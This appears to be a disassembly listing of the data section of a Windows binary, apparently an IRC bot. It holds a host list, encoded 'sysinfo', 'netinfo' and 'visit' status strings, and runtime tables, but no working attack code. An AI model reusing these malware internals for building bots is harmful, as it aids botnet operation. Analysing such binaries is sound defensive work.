aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A030	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A10C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A140	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A184	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A188	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A18C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A194	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1A4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A200	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A21C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A258	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A274	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A280	dd 4FFECA3Bh		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A290	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A29C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2A8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2AC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2C0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2C4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A2D0	dd offset off_43A2D0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A2D4	dd offset off_43A2D0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A2E8
		dd offset dword_43A2E8
dword_43A2E0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A2E8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A2D8o
					; ___:0043A2DCo
off_43C2F0	dd offset off_43A2D0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C2F4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C2F8	dd offset word_43C302	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C2FC	dd offset word_43C302	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C302	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C2F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C508	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C510	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C514	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C518	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C520	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C524	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C530	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C614	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C780	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C788	dd 14h			; DATA XREF: sub_421624+2o
off_43C78C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C860	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C870	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C888	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C894	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8A0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8A4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8A8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8AC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8B0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8B4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8C4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8C8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8CC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C940	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C944	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C948	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C94C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C950	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C958	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C95C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch
		dd 0FFh, 427960h
off_43C9E8	dd offset dword_4DB5A0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5A0
		dd 101h
dword_43C9F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA08	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC68	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CC70	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CC78	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CC90	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCAC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCB0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCB4	dd offset dword_545350	; DATA XREF: ___:off_43CD34o
		dd 0Fh dup(0)
off_43CCF4	dd offset dword_544450	; DATA XREF: ___:off_43CD38o
		dd 0Fh dup(0)
off_43CD34	dd offset off_43CCB4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD38	dd offset off_43CCF4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD40	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD44	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD48	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD50	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD54	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD58	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD5C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CD8C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CD90	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDC8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF28	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D084	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D09C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0BC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D0DC	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D100	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D120	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D128	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D130	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D148	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCB0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEB0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEB4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEB8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEBC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEC0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEC4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEC8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1E21h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043375Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A48o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384B8o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438324o
dword_4B5248	dd 569Ah dup(0)
dword_4CACB0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACB4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACB8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACBC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD3C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CAD7C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE0C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE10	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE20	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE24	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE28	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE2C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE30	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE34	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE38	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE3C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE40	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE44	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE48	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE4C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE50	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE54	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE58	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE5C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAE90	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEC0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAECC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAED8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAEE0	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAEE4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAEFC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF08	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF10	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF14	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF18	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF28	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF2C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
